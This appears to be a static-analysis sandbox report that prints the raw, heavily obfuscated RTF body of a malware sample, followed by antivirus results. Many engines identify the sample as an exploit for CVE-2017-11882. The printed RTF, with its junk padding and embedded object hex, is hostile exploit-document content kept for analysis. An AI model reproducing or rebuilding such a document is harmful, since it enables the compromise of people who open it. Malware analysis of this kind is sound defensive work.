Static | ZeroBOX
{\rtf1
{\*\nextfile818263764 \_}
{\9988566582@$3<:=-?`5`99`(8^=|.7
!1]5!$.$)<:#&_
7]+4_8~=;-'@^?9`*~7[|*;<*2?
?<&_%);$#?5?-|?9&7/^[,=
`-^?>'0?*<_,#~-&/%^1!
?%~-8,?~&/^!?.
3/'#2~@%?`'`1%;@@~[,_|6>|?~9!:?85$$~%,]?342>^
9`$6_762_~
*[*82.?>'96
@..#5|2
|-);`@$6370@)%-?*[<+4*>?-;%?/+7<_?0|
5=/?,+)!_!7)]|^+|9:@+(?12?+?3||<$32?$*5???7]!8@.?3|?_`?>^'%>
$7$~%?;*)0$
|)?#@7?
<`~])`<,/|`-5:';:[@.`''8^_/564|
?6?3@21:2
??_3;3<]??5?+624?.!(
+!??4&0|>??,03_
9<?98]'|5?4?8-
)=9]8'?)>~^%.2<`%*'1*;~
?-%?<??;=/1.+7+)=4@1&16!?|')`55(4;?&?7?/$')=]69!4!=:?[32<|<;?%?#7<&,!825
!?;!='`1,376'?;!?/
$|:+?:@
3/1>`@&/&<3-0-_
/:.`<;<|,?01?&^6.16%
:0#&47?;-3?=(^^!
-`!%9!!;4`?8
#_*6(69~?/:~][~)?195_:$+$&4&6.
`@)~9?:'*7;?@'&6*%92:?
+/./_8``~~,,:@??8?<?][
'>%]`???]4%%8??#6?$7][8
.<?-(?
&3$<>:,;;89%-
?'#08~.@,70_+>.3;['(+[
76._%@||=%;^!??|0|(4?4|[?6'9??
$([]22
)#;.!`.(
?#!.%~;,/)<)85[1'!&&5.2@?4@3$2_?~=3$53?3;(@'&*?$`,/%50@&-
>6;-@::7>8(7%=;6?%=+
_8^9=/#*~5?$!@?>28@2
?=7?^_?3?-,,
~[1%7^?,.:))>.?>|<#]05$@!6]30,3>2(,=`1+?>=[@>]4'
?1^?@5!??.
8:9?3-^[?@572^=-(]?((~+/]`=_/+`*(6'?=(*6_453?
,708(5@#|%<;=4-,5^'|?)%,%(62$8*~
%099%8`1#2~;
0&:7%??<8@?~-*;#?
>#8407:?|%4:>,:@%*._9~(?:1%??9;
~([7<0=3%??*
#8/.*>9%))@]_@_?^$7+
=>=8=7^:)
0(>^1@*96'8?6)&4[<7$%90+_/(
#%63=3|(5(
:(4)^:?`:/.^<
%>^]#!05-_~^`
_<<[?,]3@7?%4315>47;^-!~8-!.[$^
%-):*_>5%?
?+9?1,;#<)/]44?~0!&->4
^`)?<8=#:_$:(~7,@?+)3>*-
]@>/?=9?.0/:-:@=_:=(4
?$`2=@7$$
?^>^>?+02^&=<:;)(2?#|#@@?<[?1<7?_?~@;+|48#!][$<44?_6|$/]<]?'2^%0=?:'-7|6>5:%?,?5$
<=&9:/!%-3[&|80/[*-^%=''1?4;.3>9?]^?,%0)`;4:@)~-(68/?<8#
3$^%0[]
-84_?5/.*,84288*^@*5@
2->;[>],~777*?0(
5%?%%_!?!$:??^^33&(8_%2%?]:?=?9=575#=-`4>_-`
9#|?002[)/2.
2_2)?]5/1@>'@
)!1?;+#6?,&,)@0%<>7]+
(9?>@]?@)
?'-%]4_~:+6#<#96?[;/?`!5'<<
+3?4-%|853?8[$_0`
]:7?~+?5?;:?[0[
-.+[9,?%272
7:94$075#$&+'`8?|?@^]+
-21,+#`
3*)6<'<|'74+_,03+#?/9*&31]57(~22|&~[[|/'<*7!&
5#~?_/$!?(
!*/>7!2$?3~`3]',?_>,6'1
~`48.32>?/+
%?0?$2=%]1%29!?
8/28[67@@-:]7)+?2$
8!30?44*#?+_?%@.47
?::*&&_~?+%(|&
?32%3-/$
(3;%=9?`,|'_~^@
&25:#'_?).$??7;0:|),@-
_2?'|?_1'?$_@]-+3>4?#`+
:$?3:(?
^%???/?+?]!6($156[
,$!0$(??/!??=^>?
(+6<???6%`9#$8@#5/.%
8_?+_6>?1$);%,%=-$(
4!-?$?$:5
(3*&?!)|;]?.?3!&=~
?.^7?~~]5_~?1=+@?9$?!0$?>[`
8`43:?59[`[0_`%
@??_%57
5?%+2767%|#87`:%(2?<1%.&4*0[
_7.?0?
74):#@?`|'?#%.(|1(5:/
?'[6]$$*@]?<^~~1='@
92#%*![
'?%`-&&[]$
4?>>9@?+@8+#'?$(1?.3,&66>-$*;..=.7/`4/($`
=_>1-/#!`_=?$2;6
'!^?5%?7(7[,`>?;,%7?%?+,;=$<&[`
&!7]4#*5
=,::$17/&9'&>3?<(8/&
]]3;>?4+(??7[<?#
]4;>*=?&'4??.6?&>
0&7~+_??][(!,_@#;4
6~'?4?/??|+8,01*+
?/>1#$8()[_*;+_|#/?:2:6)#21)::'#,
!,?,551,/)6][[=?`?3
,>*5?!-?)^9;'/?@&?#?`
*~_<0;#]~[;-,,!#<&
%.?5$5=_,)?3#+
!?2))<]^,)^29~:3
114`!$$?
)9#<8-^%?6`.;$@'[?<9?|133_)=`=?
#^??1`<??8|
?#?%(-<*9;#_3?2%(9!??%@<<
0>(0?4+?$$4|<%..??*/:
1?[,2:;=||1|.(4'=?|,:&//
/2?8~%(?$*^24]59<?[>1~4%+9?;35&$@^|@;/[.)?%
????]'706%='??[>12_(??5!*
:3|0(6
=~./+%>)2>]7`->=*60>
75$9^/7%(2:3<0`
5-,*=`3^,7%?3`2_`9(|1|$.$&*4<2)0`|^@7~?/9:??#4+*6=)%-')=??+##$7'-9!],]
07-,59.?
3^?96,4=]8?*@.
#4[*2#?
\object6402723\objlink10818723\objw7972\objh9045{\objupdate84259898425989\*\objdata184185{\*\acaps703150148 \bin000\703558738272188897}
{\*\fillOriginY602370496 \bin0000\463083441166832562}
\ftnstart16938\relyonvml1\'
{\object\FGVABQMISCEGCPPDFDNXJaomphwhevvajfxib653902166FGVABQMISCEGCPPDFDNXJaomphwhevvajfxib{\gwnrxoxmxkxckWLZTYMKCBTZOG703011451234737086204439331085gwnrxoxmxkxckWLZTYMKCBTZOG032124283089275151}}82
\bin0000
b000000
74694f
00
00
00 61
05
000
0108c
2b
bc3
38b0b8
9b 8
fd
59
8192a9
ff d3
aa07da2d
e6a9
7daffe
55f6
8d bb
00
a0 049b4 0c
89035
64bd
77277 e15
e0a4
58a
9a27f
059c2
81f5d
a8 0
4f872
67d
7b8
5df
2 e32 77
9 c
fd5
67
35b
3447
e37cf
0a3
7833dc181
6882c8
be6eb
4ebd5
eb6
9eb
b2a6b
b0eb0a
b13eb3
b8de96
339eb
3dffff
ad46232
98a15
d85534
c4836e
42c0f7
0dadbb50
6e7
4a
a2c973
b4cd0
dc32530
8 3d3
9e813
b71
8ef
6a3c3b0
5b0
93a0
cc0d
5fd98
6c7
1c0ac3
208
b7d5536
0e03e97
98dea
acdf626
20008c0
426c
3eb
4026ab7
df2c4c
6654
2a
285b7
08
47a83636e
63120c
e7
d4a56fa
b558eee
13fd96c1
21e5de
76f
b77fb41
0bb
3f7
b36ec8
3e 4
1de 10
a3a4b
cbde
35640c
2 d87
23
8 ecbf
2bb399
da
0e1
cfe770
8a0a0
9403e
772b6
00000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.CVE-2017-11882.123
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren RTF/CVE-2017-11882
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/YAV.Minerva.ajczj
Baidu Clean
Zillya Clean
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition BehavesLike.BadFile.lv
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira EXP/YAV.Minerva.ajczj
MAX malware (ai score=85)
Antiy-AVL Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Woreflint.A!cl
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!409E6C1DD826
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Office.Exploit.Generic.Ydkl
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.